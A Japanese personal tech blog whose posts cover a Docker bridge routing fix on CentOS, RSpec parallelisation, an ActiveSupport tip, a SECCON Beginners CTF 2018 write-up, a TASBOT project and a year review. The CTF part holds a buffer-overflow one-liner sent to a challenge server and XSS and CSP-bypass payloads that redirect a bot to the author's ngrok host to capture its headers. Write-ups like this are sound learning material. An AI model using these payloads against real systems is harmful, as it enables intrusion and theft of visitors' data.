CentOS7.3でdocker0がないため/ネットワークの重複でdocker0が作成されなかったのでdocker.serviceが立ち上がらなかった

docs.docker.com

↑に従ってインストールしてる時、

$ sudo systemctl start docker

で失敗した

以下はjournalctlのログ

12月 20 16:09:52 example systemd[1]: docker.service holdoff time over, scheduling restart.
12月 20 16:09:52 example systemd[1]: Starting Docker Application Container Engine...
-- Subject: Unit docker.service has begun start-up
-- Defined-By: systemd
-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- Unit docker.service has begun starting up.
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.180328678+09:00" level=info msg="parsed scheme: \"unix\"" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.180393506+09:00" level=info msg="scheme \"unix\" not registered, fallback to default scheme" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.180440304+09:00" level=info msg="parsed scheme: \"unix\"" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.180449023+09:00" level=info msg="scheme \"unix\" not registered, fallback to default scheme" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.183865860+09:00" level=info msg="[graphdriver] using prior storage driver: overlay2"
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.184705891+09:00" level=info msg="ccResolverWrapper: sending new addresses to cc: [{unix:///run/containerd/containerd.sock 0  <nil>}]" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.184734395+09:00" level=info msg="ClientConn switching balancer to \"pick_first\"" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.184783244+09:00" level=info msg="pickfirstBalancer: HandleSubConnStateChange: 0xc420612910, CONNECTING" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.184977899+09:00" level=info msg="pickfirstBalancer: HandleSubConnStateChange: 0xc420612910, READY" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.185005436+09:00" level=info msg="ccResolverWrapper: sending new addresses to cc: [{unix:///run/containerd/containerd.sock 0  <nil>}]" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.185016987+09:00" level=info msg="ClientConn switching balancer to \"pick_first\"" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.185046636+09:00" level=info msg="pickfirstBalancer: HandleSubConnStateChange: 0xc420612be0, CONNECTING" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.185160010+09:00" level=info msg="pickfirstBalancer: HandleSubConnStateChange: 0xc420612be0, READY" module=grpc
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.188935526+09:00" level=info msg="Graph migration to content-addressability took 0.00 seconds"
12月 20 16:09:52 example dockerd[26871]: time="2018-12-20T16:09:52.189454109+09:00" level=info msg="Loading containers: start."
12月 20 16:09:52 example dockerd[26871]: Error starting daemon: Error initializing network controller: list bridge addresses failed: no available network
12月 20 16:09:52 example systemd[1]: docker.service: main process exited, code=exited, status=1/FAILURE
12月 20 16:09:52 example systemd[1]: Failed to start Docker Application Container Engine.
-- Subject: Unit docker.service has failed
-- Defined-By: systemd
-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- Unit docker.service has failed.
--
-- The result is failed.

以上はjournalctlのログ

Error starting daemon: Error initializing network controller: list bridge addresses failed: no available network

ほう

$ ip l
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000
    link/ether 00:50:56:b9:26:14 brd ff:ff:ff:ff:ff:ff
3: ens224: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP mode DEFAULT qlen 1000
    link/ether 00:50:56:b9:76:49 brd ff:ff:ff:ff:ff:ff

なんでdocker0が生成されないんだ…

何故

追記(2018/12/24)

ちゃんと見てなかったのでとても恥ずかしいんですが、上記ルーティングの ens192 というやつがこういうroutingをしていた

$ ip r
172.16.0.0/12 via 10.26.149.254 dev ens192  proto static  metric 100

docker0 が作りたいルーティングは以下の通りで、ホストアドレス部分が被ってしまうためdockerインストール時にルーティングが作られないようだった

172.17.0.0/16 dev docker0  proto kernel  scope link  src 172.17.0.1

また、このままホストアドレス部分が被っているとまずいので被っているルーティングについて解決する必要がある

今回は ens192 側のサブネットマスクを大きくして必要な部分だけルーティングで追加していくのが手っ取り早そうだったので ens192 側を解決させた(ここでは省略するけども)

追記ここまで(2018/12/24)

作られなかったブリッジを作る

というわけで本来作ってくれるはずだった仮想ブリッジの docker0 を作ってあげます

$ sudo ip link add name docker0 type bridge
$ sudo ip addr add dev docker0 172.17.0.1/16
$ sudo systemctl start docker.service
$ sudo systemctl status docker.service
● docker.service - Docker Application Container Engine
   Loaded: loaded (/usr/lib/systemd/system/docker.service; disabled; vendor preset: disabled)
   Active: active (running) since 木 2018-12-20 16:32:23 JST; 3min 27s ago

docker0の使用するip帯を変えるには

追記(2018/12/24)

もしdocker側を変えたい場合はdocker daemon起動時の引数に --bip=他のアドレス を指定すると良いです

$ sudo systemctl stop docker
$ sudo ip link set dev docker0 down
$ sudo ip link del dev docker0
$ ip r
default via 10.0.2.2 dev enp0s3  proto static  metric 100
10.0.2.0/24 dev enp0s3  proto kernel  scope link  src 10.0.2.15  metric 100
172.18.0.0/16 dev br-da27a92cc9df  proto kernel  scope link  src 172.18.0.1
192.168.100.0/24 dev enp0s8  proto kernel  scope link  src 192.168.100.20  metric 100
// docker0 がないことを確認する

$ cat /usr/lib/systemd/system/docker.service
~~省略~~
[Service]
~~省略~~
+EnvironmentFile=/etc/sysconfig/docker
-ExecStart=/usr/bin/dockerd -H unix://
+ExecStart=/usr/bin/dockerd -H unix:// $OPTIONS
~~省略~~

$ cat /etc/sysconfig/docker
+OPTIONS="--bip=10.17.0.1/16"

$ sudo systemctl daemon-reload
$ sudo systemctl start docker
$ ip r
default via 10.0.2.2 dev enp0s3  proto static  metric 100
10.0.2.0/24 dev enp0s3  proto kernel  scope link  src 10.0.2.15  metric 100
172.18.0.0/16 dev br-da27a92cc9df  proto kernel  scope link  src 172.18.0.1
10.17.0.0/16 dev docker0  proto kernel  scope link  src 10.17.0.1
192.168.100.0/24 dev enp0s8  proto kernel  scope link  src 192.168.100.20  metric 100
// docker0のdestがbipで指定したやつになっている💯

追記ここまで(2018/12/24)

さいごに

おわりです

参考

github.com

qiita.com

Railsで動くRspecのテストが遅いのでparallel_testsを導入してみる

--- ここからテンプレ --- 仕事で関わっているRailsアプリではPRの最新コミットのごとにCIが周る。
CIはcloneしたRailsアプリに対してRspecを実行し、その結果がリポジトリに反映される。

という、ごく普通のフローが存在するが、リポジトリが成長すると共にテストもそれなりに数を増やし、共にRspecの実行時間もそれなりに伸び、つまりCIの実行時間も伸びていく。

CIの結果を頼りにレビューをする方も居るだろうし、CIの結果がわからないとマージはできないように、CIの結果を待たなければいけないケースはそれなりに発生すると思っている。

そういった待ち時間は時間の程度にも寄るが、他の作業の妨げになるかもしれない。他の作業の妨げになるのであれば、待ち時間は短ければ短いほど良く、つまりテストの実行時間は早ければ早いほど良いということだろう。

--- ここまでテンプレ ---

ただあまり大きな労力はかけたくない(めんどくさい)ので、まずは大きく有効そうな手立てから試していきたい。

parallel_tests とは

github.com

簡単に言えば

  • CPUのコア毎にRspecのプロセスを立ち上げてテストを並列実行する

というもの

癖はあるようで、

  • プロセスごとに独立したDBが必要(rails db:setup のように複数のDBを作るためのrakeタスクは存在している)
  • 実行時にファイルサイズを鑑みていて、各プロセスに渡るspecファイルの合計ファイルサイズが近くなるように振り分けられる
    • 小さなファイルサイズでも激重なテストケースが入っている場合は考慮されない

ということらしいが、導入はそんなに苦なものではないようなので一旦導入してみた

導入方法

Gemfileに以下を追加してbundle install

# Gemfile
gem 'parallel_tests', group: %i[development test]
$ bundle install

test用のdatabaseを作る

# config/database.yml
test:
  database: yourproject_test<%= ENV['TEST_ENV_NUMBER'] %>
# 環境変数 `TEST_ENV_NUMBER` に実行されるプロセスの番号が入ってくるらしい
$ rails parallel:setup

これでコア数に応じて

  • yourproject_test
  • yourproject_test2
  • yourproject_test3
  • yourproject_test4

みたいに4つのdatabaseができるはず

おそらくお手持ちのRailsアプリケーションはmemcachedやRedisなどを噛んでいると思うが、その場合は先程書いた環境変数 TEST_ENV_NUMBER を使ってそれぞれのネームスペースを切ると良さそう(以下参照2つ)

# config/environments/test.rb
config.cache_store = :memory_store, { namespace: "yourproject_test#{ENV['TEST_ENV_NUMBER']}" }
# mastodonの例
# spec/rails_helper.rb
Redis.current = Redis::Namespace.new("mastodon_test#{ENV['TEST_ENV_NUMBER']}", redis: Redis.current)

あと何故かcache_storeがfile_store(未指定時デフォ)の場合、テストが途中で死ぬ(下記エラー)ことがあった
多分 Rails.cache.clear! で別プロセスが参照するキャッシュが消えたんだと思う、ここをうまく切るためにnamespaceを儲けようとしたが結局うまく行かなかったので一旦はmemory_storeを使うように変更している

Errno::ENOENT:
     #   No such file or directory @ apply2files - /Users/naari3/src/github.com/naari3/some_project/tmp/cache/FB1/000/.permissions_check.70365749710360.44558.326263
     #   ./app/models/user.rb:25:in `info

実行

実行する

$ rails parallel:spec
4 processes for 224 specs, ~ 56 specs per process

Randomized with seed 58546
....
Randomized with seed 39588
..
Randomized with seed 40142
......................
Randomized with seed 39700
........
(省略)
Coverage report generated for (1/4), (2/4), (3/4), (4/4), RSpec to /Users/naari3/src/github.com/naari3/some_project/coverage. 4352 / 5499 LOC (79.14%) covered.

1707 examples, 0 failures, 1 pending

Took 171 seconds (2:41)

このマシンには4コア積まれているので4プロセス立ち上がってそれぞれ実行された

なお普通にRspecを実行した際のログはこちら

$ bundle exec rspec
(省略)
Finished in 6 minutes 35 seconds (files took 5.08 seconds to load)
1707 examples, 0 failures, 1 pending

開発マシンで裏で色々立ち上がっている中、parallel_tests経由で並行に実行するだけで 1/2 くらいの実行時間にすることができた

実際はおそらくエージェントとかDockerプロセスとか最低限のものだけが立ち上がっているCIの環境上で動かされるのでコア数分だけ数倍速になるんだろうなぁと思っている(まだ動かしてない)

ActiveSupport 「空文字列の場合はデフォルト文字列」を三項演算子を使わないで解決する

ものすごく当たり前な話なんですが僕はなぜかずっと気づかなかったので記念として記事にします

qiita.com

対象が空文字列の場合は何らかデフォルトの文字列、空じゃなかったら対象をそのまま使うやつ

name.present? ? name : '名無し'

ActiveSupportを入れていると様々なメソッドが拡張されるけど、 Object#presence メソッドが生える

github.com

def presence
  self if present?
end

なのでこうできる

name.presence || '名無し'

JSだと空文字列はfalse判定なので直接文字列と||を並べてしまえばいいが、Rubyの空文字列はtrueと判定される

そのためActiveSupportに頼らざるを得なくなる

やはりActiveSupportは便利、我々はRailsではなくActiveSupportを愛しているのである

SECCON Beginners CTF 2018 write-up

僕は全問解いていないので、全問揃ったWrite-upが見たい場合は他の方が書いたこのwrite-upがよさそうです → SECCON Beginners CTF 2018 Write-up - Qiita

SECCON Beginners CTF 2018 にチーム SQUID として参加しました

「チーム名はいかした名前がいいよね」ということで決まったチーム名でした

1343点で43位でした

はじめてのチーム参加でしたが、自分ひとりだけの知恵で戦う必要がなく、とても良い体験でした

僕は16問中11問解き、今回の記事では解いたものに関してのwrite-upを記述しています

f:id:naari_3:20180527140029p:plain

Crypto

[Warmup] Veni, vidi, vici はチームの zzuf が解きました Streaming はチームの taryan が解きました

この分野ほんとうにわからんし一番望みがないものだったのでありがたい :pray:

RSA is Power

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

そんなに大きくない桁のRSA暗号でした

N素因数分解すれば良いので msieve に通します

$ ./msieve -q -v -e 97139961312384239075080721131188244842051515305572003521287545456189235939577

~中略~

memory use: 2.6 MB
lanczos halted after 408 iterations (dim = 25732)
recovered 17 nontrivial dependencies
prp39 factor: 299681192390656691733849646142066664329
prp39 factor: 324144336644773773047359441106332937713
elapsed time 00:02:34

というわけで

P = 299681192390656691733849646142066664329
Q = 324144336644773773047359441106332937713

あとはCを復号します

import rsa
import binascii

N = 97139961312384239075080721131188244842051515305572003521287545456189235939577
E = 65537
C = 77361455127455996572404451221401510145575776233122006907198858022042920987316

P = 299681192390656691733849646142066664329
Q = 324144336644773773047359441106332937713


D = rsa.key.calculate_keys_custom_exponent(P, Q, E)[1]

plain = pow(C, D, N)

print(binascii.unhexlify(hex(plain)[2:]).decode('utf-8'))

ctf4b{5imple_rs4_1s_3asy_f0r_u}

Pwn

1問しか解いてません

1問解けたので満足しています

pwnはそれぞれサーバーのバイナリが用意されていました

[Warmup] condition

接続すると

Please tell me your name...

となり、 文字列を入力すると

Please tell me your name...testtest
Permission denied

となる

配布されているバイナリを逆アセンブルすると

   0x0000000000400796 <+37>:   mov    eax,0x0
   0x000000000040079b <+42>:   call   0x400620 <gets@plt>
=> 0x00000000004007a0 <+47>:   cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x00000000004007a7 <+54>:   jne    0x4007bf <main+78>

こんな感じで、getsで取得したバッファの後に 0xdeadbeef が入って入ればフラグが表示されるように分岐されるようなので、

python -c 'print "a" * 44 +"\xef\xbe\xad\xde"' | nc pwn1.chall.beginners.seccon.jp 16268

ctf4b{T4mp3r_4n07h3r_v4r14bl3_w17h_m3m0ry_c0rrup710n}

Reversing

前までこのレベルでもうんともすんとも言わなかったので、今回は2つ解けてよかったです

BBSにも挑戦したのですが、 system にどうやって /bin/sh を渡すか分からず…

ROPを使うらしいが、そのROPの手法がよく分からなかったです、無念

[Warmup] Simple Auth

アセンブルすると入力された文字列とそのまま比較してる箇所があったので、それが答えでした

  4006a8:   c6 45 d0 63             mov    BYTE PTR [rbp-0x30],0x63
  4006ac:   c6 45 d1 74             mov    BYTE PTR [rbp-0x2f],0x74
  4006b0:   c6 45 d2 66             mov    BYTE PTR [rbp-0x2e],0x66
  4006b4:   c6 45 d3 34             mov    BYTE PTR [rbp-0x2d],0x34
  4006b8:   c6 45 d4 62             mov    BYTE PTR [rbp-0x2c],0x62
  4006bc:   c6 45 d5 7b             mov    BYTE PTR [rbp-0x2b],0x7b
  4006c0:   c6 45 d6 72             mov    BYTE PTR [rbp-0x2a],0x72
  4006c4:   c6 45 d7 65             mov    BYTE PTR [rbp-0x29],0x65
~省略~
  400700:   c6 45 e6 72             mov    BYTE PTR [rbp-0x1a],0x72
  400704:   c6 45 e7 64             mov    BYTE PTR [rbp-0x19],0x64
  400708:   c6 45 e8 7d             mov    BYTE PTR [rbp-0x18],0x7d

ctf4b{rev3rsing_p4ssw0rd}

Activation

この問題の FLAG は ctf4b{アクティベーションコード} です。

exeが降ってきてギョッとした、まだ慣れない…

file で見てみると.Netだったので dnSpy に入れます

ちょっと前まではILSpyを使ってたけどdnSpyのほうが見やすいしいいのでこっちを使いましょう

どうやら文字列が軽く暗号化されており、先にこれを復号しておく必要がありそうだったので複合する

f:id:naari_3:20180527144125p:plain
暗号化された文字列の図

数百程度の要素を持つbyte型の配列に対して以下のような感じで復号

crypted_list = [] # ここにbytes型(PythonではInt型)の要素が入る

decrypted_list = []
for i, c in enumerate(crypted_list):
    decrypted_list.append((j ^ i ^ 170) % 256)

print "".join(map(lambda x: chr(x), decrypted_list)) # 読める文字列

C#で取得されるときはこんな感じで、

public static string a()
{
    return E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>[1] ?? E2AA8B78-798D-49BF-B9E7-13D334768E86.<<EMPTY_NAME>>(1, 15, 35);
}
  • 用意されたstring型配列のindex 1に要素があれば返す
  • なければさっき復号した文字列の15番目から35文字を取り出して返す

といったものだったので、これ以降文字列を取る際はさっき復号した文字列から取ることになります

次に起動されてからアクティベーションコードが認証までを探ります

  • ドライブ一覧を取得
    • ルートディレクトリ内で *.* というルールでファイルを取得
    • いずれかのファイルが SECCON_BEGINNERS と等しければ flag変数を true にする
  • flag変数が false なら終了
  • AesCryptoServiceProviderのインスタンスを作成
    • BlockSize = 128
    • KeySize = 256
    • IV = "CTF4B7E1" + "CTF4B7E1"
    • Key = "SECCON_BEGINNERS"
    • Mode = CipherMode.ECB
    • Padding = PaddingMode.PKCS7
  • ユーザーが入力した文字列を上のAesCryptoServiceProviderで暗号化、base64した結果が E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5 と等しければ認証成功

といった感じでした

やることは簡単で、E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5を復号した結果が正しいアクティベーションコードなので、復号します

using System;
using System.Runtime.CompilerServices;
using System.Security.Cryptography;
using System.Text;

public class Hello{
  public static void Main() {
    AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
    aesCryptoServiceProvider.BlockSize = 128;
    aesCryptoServiceProvider.KeySize = 256;
    aesCryptoServiceProvider.IV = Encoding.ASCII.GetBytes("CTF4B7E1" + "CTF4B7E1");
    aesCryptoServiceProvider.Key = Encoding.ASCII.GetBytes("SECCON_BEGINNERS");
    aesCryptoServiceProvider.Mode = CipherMode.ECB;
    aesCryptoServiceProvider.Padding = PaddingMode.PKCS7;
    byte[] criptedBytes = Convert.FromBase64String("E3c0Iefcc2yUB5gvPWge1vHQK+TBuUYzST7hT+VrPDhjBt0HCAo5FLohfs/t2Vf5");
    byte[] inArray = aesCryptoServiceProvider.CreateDecryptor().TransformFinalBlock(criptedBytes, 0, criptedBytes.Length);
    string plaintext = Encoding.ASCII.GetString(inArray);

    Console.WriteLine(plaintext);
  }
};

ctf4b{ae03c6f3f9c13e6ee678a92fc2e2dcc5}

Web

[Warmup] GreetingSECCON Goods は zzuf が解きました SECCON Goods に関しては問題鯖に対して sqlmap を撃ってflagを出したらしいです

Gimme your comment

このブラウザの User-Agent が分かった方には特別に得点を差し上げます :-)

付与されたjsを見ると、 puppeteer が動いており、

  • コメント投稿後にコメントのページに移動
  • input[name="comment_content"]投稿ありがとうございます。大変参考になりました。 と入力
  • button[type=submit] をクリック

というように動いていました

入力したコメント本文がエスケープされずそのままhtmlに貼られたので、自前で適当なサーバーを作ってそこにリダイレクトさせます

from flask import Flask, request
app = Flask(__name__)

@app.route('/')
def hello():
    name = "Hello World"
    print request.headers.get('User-Agent')
    return name

if __name__ == "__main__":
    app.run(debug=True)
$ ngrok http 5000
# Forwarding にngrokドメインのurlが貼られるのでそれを使う
<script>location.href = 'http://{Forwardingの文字列}.ngrok.io';</script>

ctf4b{h4v3_fun_w17h_4_51mpl3_cr055_5173_5cr1p71n6}

Gimme your comment REVENGE

1つ前のものと比べ、基本的な動きや puppeteer で動くクライアントのソースコードは全く変わっていませんでした

同じくコメント本文はエスケープされなかったのでとりあえず同じようにXSSを狙うと、次のようなエラーが出ます

Refused to execute inline script because it violates the following Content Security Policy directive: "default-src 'self'". Either the 'unsafe-inline' keyword, a hash ('sha256-dtZQXTtwWaTWzlzbWQI5YFQO/v4LWqNq9cqtOQ8D9nI='), or a nonce ('nonce-...') is required to enable inline execution. Note also that 'script-src' was not explicitly set, so 'default-src' is used as a fallback.

ヘッダにある Content-Security-Policy: default-src 'self' によってこうなるらしいです、こんなの初めて知った…

ただ前回と同じくエスケープはされないため、コメントでもう1つ <form><button> を用意して、それを押してもらいます。

<form method="post" "http://{Forwardingの文字列}.ngrok.io/comments">
  <input type="text" name="comment_content">
  <button type="submit">コメントを送信する</button>
</form>

自前のサーバー側も少し手を加えます

@app.route('/comment', methods=['POST'])
def comment():
    name = "comment"
    print request.headers.get('User-Agent')
    return name

ctf4b{d3f4ul7_5rc_15_n07_3n0u6h}

Misc

[Warmup] Welcome

フラグは公式IRCチャンネルのトピックにあります。

とのことで、ルールのページに記載されていたIRCチャンネルにログインすると表示されました

本当にめちゃくちゃ久々にIRCを触った…

[Warmup] plain mail

pcapファイルがあり、平文でのメールのやりとりがキャプチャされていました

フラグになるっぽいメール本文は2つあり、片方はzipつき、もう片方は you_are_pro という本文でした

zipは鍵がかかっており、パスワードを尋ねられたので you_are_pro と入力したら解凍できました PRO

ctf4b{email_with_encrypted_file}

てけいさんえくすとりーむず

$ nc tekeisan-ekusutoriim.chall.beginners.seccon.jp 8690
Welcome to TEKEISAN for Beginners -extreme edition-
---------------------------------------------------------------
Please calculate. You need to answered 100 times.
e.g.
(Stage.1)
4 + 5 = 9
...
(Stage.99)
4 * 4 = 869
[!!] Wrong, see you.
---------------------------------------------------------------
(Stage.1)
869 + 924 = 1793
(Stage.2)
665 * 677 = a
[!!] Wrong, see you.

こういうやつでした、愚直に解くものを書きます

from socket import *

s = socket(AF_INET, SOCK_STREAM)
s.connect(('tekeisan-ekusutoriim.chall.beginners.seccon.jp', 8690))

while True:
    text = s.recv(4096)
    print text

    prob = text.split('\n')[-1]

    ans = eval("".join(prob.split(' ')[:3]))
    print ans

    s.send("{}\n".format(ans))

ctf4b{ekusutori-mu>tekeisann>bigina-zu>2018}

Find the messages

disc.img というバイナリが配布されます

$ file disk.img
disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x1,22,31), end-CHS (0x63,36,30), startsector 2046, 129024 sectors

mountできるものではなさそうなので、 testdisk を使ってファイルを取り出します

f:id:naari_3:20180527154940p:plain

[Proceed] -> [Intel] -> [Analyse] -> [Quick Search] -> 見たいパーティションの上で P とすると内部のディレクトリを覗くことができます

f:id:naari_3:20180527155630p:plain

A ですべてのファイルを選択し、C でコピーに移り、保存先を指定できるので適当なディレクトリを指定します

$ tree
.
├── lost+found
├── message1
│   └── message_1_of_3.txt
├── message2
│   └── message_2_of_3.png
└── message3
    └── message_3_of_3.pdf

4 directories, 3 files

message{1,2,3}のそれぞれにフラグの欠片のようなものがあるので見ていきましょう

$ cat message_1_of_3.txt | base64 -d
ctf4b{y0u_t0uched

1つ目はbase64エンコードされたものでした

ctf4b{y0u_t0uched

$ file message_2_of_3.png
message_2_of_3.png: data

2つ目はpngかと思いきやそうではないようです

バイナリエディタで見てみると、マジックナンバーX で埋められているので正しいマジックナンバーに直します

f:id:naari_3:20180527161158p:plain
左:欠損png, 右:正常png

開くことができました

f:id:naari_3:20180527162943p:plain

_a_part_0f_

そのまま3つ目を探ろうとしましたが、 message_3_of_3.pdf は0バイトでした

別のツールを使ってpdfだけ抽出してみます

$ foremost -t pdf -i disk.img
foremost: /usr/local/etc/foremost.conf: No such file or directory
Processing: disk.img
|*|
$ tree ./output
./output
├── audit.txt
└── pdf
    └── 00018946.pdf

こちらは正しそうなpdfで、開くことができました

f:id:naari_3:20180527162327p:plain

disk_image_for3nsics}

ということでフラグは以下のとおりです↓

ctf4b{y0u_t0uched_a_part_0f_disk_image_for3nsics}

TASBOTを作ったという趣旨の記事をQiitaと第2のドワンゴAdvent Calendarに投稿した

はじめに

qiita.com

こういう記事を書きました。SFCのTASBOTを作る試みを書いています。

qiita.com

このカレンダーの13日目に登録されています。

遅刻

記事投稿(ゴール)を 1P, 2P共に4コンまで操れるようになること としていたのが、単純に時間の見誤りで余裕ぶっこいてたら期日が迫っていたというわけになります。

当日までには既に1P1コンのみを操るようなものは出来ていたため、残りをどうにか頑張ろうと当日の夜中までTASBOTの実装をしていたわけですが、これは今日明日中には無理だと気づいた時には既に13日は終わっていました。

もうしわけない

出来

ただ、1P2P各4コンまで使うTASの方が少ないくらいなので、それ以外のTASのリプレイファイルは割りと再生できたし、それっぽい動画をYouTubeにアップロードすることも出来たのでよかったと思っています。

www.youtube.com

これは充分人外の動きなのですが、ここまで来たのであればルールの議論が熱くなった原因である「任意コード実行」のカテゴリのものをどうにか動かしたいと思っています。

現状、SFCコントローラーの内部に使われている4021というロジックICふたつをArduino上で雑に模倣しているのですが、Arduinoのクロック数がそんなにおおくないために合計8つのコントローラーの動きを同時に操れないのではないかと不安視しています。

具体的には8つのコントローラーを模倣するためには1つのコントローラーを模倣する場合の最低4倍の時間が必要なことがわかっているため、厳しめな勝負になりそうです。

あとInterruptに依存しまくっているのですが、今実行環境として使っているArduino UnoだとInterruptのピンの数が少なく、かといってピン数が比較的多いMEGA2560を使ってみると何故かUnoより遅めに動いているように見えるので、まずはそこから解決したいところです。

いずれにせよ、全体を通して電子工作のちしきがなくて辛かったです。

公開

全くwebと関係ない記事を投稿したし、おそらくみんな興味ないだろうが、技術系の記事であるために文句はないはず

太陽が輝いい

生活

なんやかんやで生活をしているけど一人で生活するのってまじで難しい

一人で生活することで困っている部分があり、生活リズムがすごく乱れがちになるという所です

遅刻大連発しまくって社員へのアップグレード当時に怒られが発生したりした

これについては夜カーテンを開けて寝ることにより、光で起きることができるんだなぁ〜〜〜たまげたなぁたまげたなぁです

わりとまじ

自炊

したくなったり、したくなくなったりするので冷蔵庫が賞味期限切れ陳列棚と化してしまう、やばいしもったいなさで死にそうになる

掃除やゴミ

親の元で生活していた時から掃除整理整頓が苦手で、ゴミ屋敷さながらのヤバい空間で生活をしていてやばい

ハウスダストのアレルギーがつらいのに汚いのでほんとうにやばい

それとゴミ捨ての方法がわからんので家にペットボトルと缶が大量に溢れかえっている

今自分のいる場所から顔を水平方向に動かしたが、どの方向にも必ずペットボトルがあってやばい

誰か助けてください

家に帰っても誰もいない時

😢

仕事

やばい

言う

雰囲気で進めてしまう部分が多くあり、咄嗟に説明を求められると何も言えなくなるのでやばい

なんかフニャフニャとして生きているのが本当にやばくて、どうすればいいかわからない

絶対こっちのほうが良いけど反論されると何も言えない所、本当に何も考えてないんじゃないかと不安になる

地力

すごくきついのではないか?

同じくして入った彼には軽く憧れを抱くほどになってしまった

にしてもやばく、まじでどうにかしたい、Web業界向いてないんじゃないか?とかミリ思ったりするが、仕事として向き合っているからなのかもしれない

あとは基本的な考え方の欠如???これもしかしたら「言う」にも共通して言えるのかもしれないですね

Wakaranaiコミットしている

がんばっている

基本自分が悪いからなあ、逆に振り切ることが出来て素直な反省ができる

でもやっぱり自分が本当に無意識にマイペースで最悪なので本当に嫌だ

趣味

全体的にプラス

DJした、いい

曲をつくる、いい

聞く、いい

知り合いができた、何故か知られていた、いい

やばい

ぷろぐみぐゆ

TASBOT前座、SFCコントローラを作った

これについてLTをしたが、5分が短く、最悪早口ゴミLTをしてしまった

しっかり説明をしたいが、趣味Queueは一杯だ

それとさっさとRailsのアプリを作りたいのと、とあるゲームのエミュ鯖開発の緒が掴めたのでしっかり開発したい

ゲーム

なんか全然ゲームしなくなってしまった、ゲームに対する愛情が薄れているのがわかる

コントローラ新しく買ったのにもかかわらず音ゲーしなくなった

SMWもちょっとやってない、ただ改造系(JUMPとか)の動画を見ることはしてる

あとSM64のRTAとTASの行く方向を見ている、こっちは楽しい

あとSwitchはすごく欲しいし、ゼルダとマリオやりたい

やっぱり僕はマリオが好き

雑コンテンツに対する所感

前より貪る様になったため、食わず嫌い感が出てきた

餞別のためには良いことなのだろうがどうなんだろう

vim

人のvagrant環境を拝借して起動したらneovimが入っていて、ちょっと触ったが良かった

こっちで慣れることが出来ると捗りそうだなぁって思ったが、今の僕の中ではやむを得ずコンソールでしかコードが書けない場合にのみvimを使っており、もしvimに慣れてバリバリカスタマイズしだしたら人のコンソールでvimできなくなっちゃうのではないかと不安になる

Twitter

やはりTwitterは嫌い

多分自分の使い方が悪いのが良くないんだけど、伸びたツイートに存在するリプは7割程嫌いだし、知らない身内ネタを見ることに対する嫌悪感がある

「フォロー整理」「ミュート」などを使うと良いということを教えてもらったが、僕の中でのTwitterが雑多なコンテンツが勝手に流れていくものだという謎の決めつけがあり、そのコンテンツの振り幅がとても狭いとちょっとやだで、多分新しくアカウントを作ったとしてもよくわからんBOTとかフォローしまくるんだろうなと思っている

僕はTwitterを使いこなすことは出来ないだろうなと思う

Webhookになるらしいしわからんですね

そいえばPythonあたりで最強Twitterクライアント作りたいなと思ったがWebhookになるなら無理じゃないか?

Twitterのなんかのクライアント用にStreamっぽいものを提供できるサードパーティ製なにかを作ってくれないかなあ、技術的なものは何も考えてないけどだれかがそれっぽいことしてくれればいいよ

friends.nico

ちょくちょく見ているマストドンインスタンス

ニコニコの陽の雰囲気ライクな空間になっていて、割りとやさしい世界が広がっていてすごく好き

ただ、それなりに居座るようなことはやはり出来ず、忘れた頃に適当に思い出してログインする程度に収まっている

ニコニコ動画

相変わらず動画の読み込みは遅く、昔日課にしていた「音MAD」タグ漁りとか「例のアレ」みるとかあまりしなくなった

最近わけあって幕末志士の動画を見ていたが、やはり面白く、あの二人に叶うニコニココンテンツは存在しないだろうと思っている

あと僕は多分旧い言い方?でいうところの萌えがそんなに好みではなく、むしろそのコンテンツに群がる方々のせいで嫌悪してしまうので、そういうのが好きだと色々楽しいんだろうなあと最近すごく思った(NYNICGとかそういうの気持ち悪くて嫌い)

2ch 5ch

やめてくれ

もう僕の知っているあの掲示板はなくなったのか

それはそうとしてやっぱり嫌儲は良い

すごく見やすいしあの感じの「最悪」加減が本当に居やすいし楽しい

素晴らしいものを産んだよねあの人、金の問題って難しいなって思う

おわりに

最近金があってすごく浪費してしまう

5万くらいするMIDIキーボード一個買ってしまいたいし、VSTiにも10万くらい使いたく、貯金ができない

ただ学生時代に出来なかった、趣味への没頭が出来ている

すごく良い

仕事をまともにしていればもう個人的に満足いけるんじゃないかなあって思った

もう遅刻したくないね